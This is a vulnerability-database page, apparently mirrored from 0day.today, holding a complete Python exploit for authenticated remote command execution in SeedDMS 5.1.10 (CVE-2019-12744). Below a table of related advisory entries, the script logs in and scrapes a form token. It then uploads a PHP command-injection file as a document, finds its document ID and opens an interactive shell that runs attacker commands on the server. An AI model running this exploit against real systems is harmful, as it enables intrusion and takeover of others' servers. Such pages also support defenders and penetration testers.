Lucene search
K

Seeddms 5.1.10 - Remote Command Execution (Authenticated) Exploit

🗓️ 25 Jun 2021 00:00:00Reported by Bryan LeongType 
zdt
 zdt
🔗 0day.today👁 66 Views

Seeddms 5.1.10 - Remote Command Execution (Authenticated) Exploi

Related
Code
ReporterTitlePublishedViews
Family
0day.today
SeedDMS versions < 5.1.11 - Remote Command Execution Exploit
26 Jun 201900:00
zdt
GithubExploit
Exploit for Unrestricted Upload of File with Dangerous Type in Seeddms
24 Jun 202112:58
githubexploit
Circl
CVE-2019-12744
21 Sep 202104:42
circl
CVE
CVE-2019-12744
20 Jun 201916:26
cve
Cvelist
CVE-2019-12744
20 Jun 201916:26
cvelist
Exploit DB
SeedDMS versions &lt; 5.1.11 - Remote Command Execution
24 Jun 201900:00
exploitdb
Exploit DB
Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated)
25 Jun 202100:00
exploitdb
exploitpack
SeedDMS versions 5.1.11 - Remote Command Execution
24 Jun 201900:00
exploitpack
NVD
CVE-2019-12744
20 Jun 201917:15
nvd
OSV
CVE-2019-12744
20 Jun 201917:15
osv
Rows per page
# Exploit Title: Seeddms 5.1.10 - Remote Command Execution (RCE) (Authenticated) 
# Exploit Author: Bryan Leong <NobodyAtall>
# Vendor Homepage: https://www.seeddms.org/index.php?id=2
# Software Link: https://sourceforge.net/projects/seeddms/files/seeddms-5.0.11/
# Version: Seeddms 5.1.10
# Tested on: Windows 7 x64
# CVE: CVE-2019-12744

import requests
import argparse
import sys
import random
import string
from bs4 import BeautifulSoup
from requests_toolbelt import MultipartEncoder

def sysArgument():
    ap = argparse.ArgumentParser()

    ap.add_argument("-u", "--username", required=True, help="login username")
    ap.add_argument("-p", "--password", required=True, help="login password")
    ap.add_argument("--url", required=True, help="target URL Path")

    args = vars(ap.parse_args())

    return args['username'], args['password'], args['url'] 

def login(sessionObj, username, password, url):
    loginPath = "/op/op.Login.php"    
    url += loginPath

    postData = {
        'login': username,
        'pwd': password,
        'lang' : 'en_GB'
    }
    try:
        rsl = sessionObj.post(url, data=postData)

        if(rsl.status_code == 200):
            if "Error signing in. User ID or password incorrect." in rsl.text:
                print("[!] Incorrect Credential.")
            else:
                print("[*] Login Successful.") 
                print("[*] Session Token: " + sessionObj.cookies.get_dict()['mydms_session'])
                return sessionObj                
                
        else:
            print("[!] Something went wrong.")    
            print("Status Code: %d" % (rsl.status_code))
            sys.exit(0)
    except Exception as e:
        print("[!] Something Went Wrong!")
        print(e)
        sys.exit(0)

    return sessionObj

def formTokenCapturing(sessionObj, url):
    path = "/out/out.AddDocument.php?folderid=1&showtree=1"
    url += path
    formToken = ""

    try:        
        rsl = sessionObj.get(url)

        if(rsl.status_code == 200):
            print("[*] Captured Form Token.")

            #extracting form token
            soup = BeautifulSoup(rsl.text,'html.parser')
            form1 = soup.findAll("form", {"id": "form1"})
            
            soup = BeautifulSoup(str(form1[0]),'html.parser')
            formToken = soup.find("input", {"name": "formtoken"})            
            print("[*] Form Token: " + formToken.attrs['value'])
            
            return sessionObj, formToken.attrs['value']
        else:
            print("[!] Something went wrong.")    
            print("Status Code: %d" % (rsl.status_code))
            sys.exit(0)

    except Exception as e:
        print("[!] Something Went Wrong!")
        print(e)
        sys.exit(0)

    return sessionObj, formToken

def uploadingPHP(sessionObj, url, formToken):
    path = "/op/op.AddDocument.php"
    url += path

    #generating random name
    letters = string.ascii_lowercase
    rand_name = ''.join(random.choice(letters) for i in range(20))

    #POST Data
    payload = {
        'formtoken' : formToken,
        'folderid' : '1',
        'showtree' : '1',
        'name' : rand_name,
        'comment' : '',
        'keywords' : '',
        'sequence' : '2',
        'presetexpdate' : 'never',
        'expdate' : '',
        'ownerid' : '1',
        'reqversion' : '1',
        'userfile[]' : (
            '%s.php' % (rand_name),           
            open('phpCmdInjection.php', 'rb'), 
            'application/x-httpd-php'
            ),
        'version_comment' : ''
    }
    
    multiPartEncodedData = MultipartEncoder(payload)

    try:                
        rsl = sessionObj.post(url, data=multiPartEncodedData, headers={'Content-Type' : multiPartEncodedData.content_type})

        if(rsl.status_code == 200):
            print("[*] Command Injection PHP Code Uploaded.")
            print("[*] Name in Document Content Shows: " + rand_name)

            return sessionObj, rand_name
        else:
            print("[!] Something went wrong.")    
            print("Status Code: %d" % (rsl.status_code))
            sys.exit(0)


    except Exception as e:
        print("[!] Something Went Wrong!")
        print(e)
        sys.exit(0)

    return sessionObj, rand_name

def getDocID(sessionObj, url, docName):
    path = "/out/out.ViewFolder.php?folderid=1"
    url += path
    
    try:        
        rsl = sessionObj.get(url)

        if(rsl.status_code == 200):
            #searching & extracting document id storing payload
            soup = BeautifulSoup(rsl.text,'html.parser')
            viewFolderTables = soup.findAll("table", {"id": "viewfolder-table"})
            
            soup = BeautifulSoup(str(viewFolderTables[0]),'html.parser')
            rowsDoc = soup.findAll("tr", {"class": "table-row-document"})            

            for i in range(len(rowsDoc)):
                soup = BeautifulSoup(str(rowsDoc[i]),'html.parser')
                tdExtracted = soup.findAll("td") 
                
                foundDocName = tdExtracted[1].contents[0].contents[0]

                #when document name matched uploaded document name
                if(foundDocName == docName):
                    print("[*] Found Payload Document Name. Extracting Document ID...")
                    tmp = tdExtracted[1].contents[0].attrs['href'].split('?')
                    docID = tmp[1].replace("&showtree=1", "").replace('documentid=', '')

                    print("[*] Document ID: " + docID)

                    return sessionObj, docID

            #after loops & still unable to find matched uploaded Document Name
            print("[!] Unable to find document ID.")
            sys.exit(0)
            
        else:
            print("[!] Something went wrong.")    
            print("Status Code: %d" % (rsl.status_code))
            sys.exit(0)

    except Exception as e:
        print("[!] Something Went Wrong!")
        print(e)
        sys.exit(0)

    return sessionObj

def shell(sessionObj, url, docID):
    #remove the directory /seeddms-5.1.x
    splitUrl = url.split('/')
    remLastDir = splitUrl[:-1]

    url = ""
    #recontruct url
    for text in remLastDir:
        url += text + "/"

    #path storing uploaded php code
    path = "/data/1048576/%s/1.php" % docID
    url += path

    #checking does the uploaded php exists?
    rsl = sessionObj.get(url)

    if(rsl.status_code == 200):
        print("[*] PHP Script Exist!")
        print("[*] Injecting some shell command.")

        #1st test injecting whoami command
        data = {
            'cmd' : 'whoami'
        }

        rsl = sessionObj.post(url, data=data)

        if(rsl.text != ""):
            print("[*] There's response from the PHP script!")
            print('[*] System Current User: ' + rsl.text.replace("<pre>", "").replace("</pre>", ""))
            
            print("[*] Spawning Shell. type .exit to exit the shell", end="\n\n")
            #start shell iteration
            while(True):
                cmd = input("[Seeddms Shell]$ ")

                if(cmd == ".exit"):
                    print("[*] Exiting shell.")
                    sys.exit(0)

                data = {
                    'cmd' : cmd
                }

                rsl = sessionObj.post(url, data=data)
                print(rsl.text.replace("<pre>", "").replace("</pre>", ""))

        else:
            print("[!] No response from PHP script. Something went wrong.")
            sys.exit(0)

    else:
        print("[!] PHP Script Not Found!!")
        print(rsl.status_code)
        sys.exit(0)




def main():    
    username, password, url = sysArgument()

    sessionObj = requests.Session()    

    #getting session token from logging in    
    sessionObj = login(sessionObj, username, password, url)

    #capturing form token for adding document
    sessionObj, formToken = formTokenCapturing(sessionObj, url)

    #uploading php code for system command injection
    sessionObj, docName = uploadingPHP(sessionObj, url, formToken)

    #getting document id
    sessionObj, docID = getDocID(sessionObj, url, docName)
    
    #spawning shell to exec system Command
    shell(sessionObj, url, docID)

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation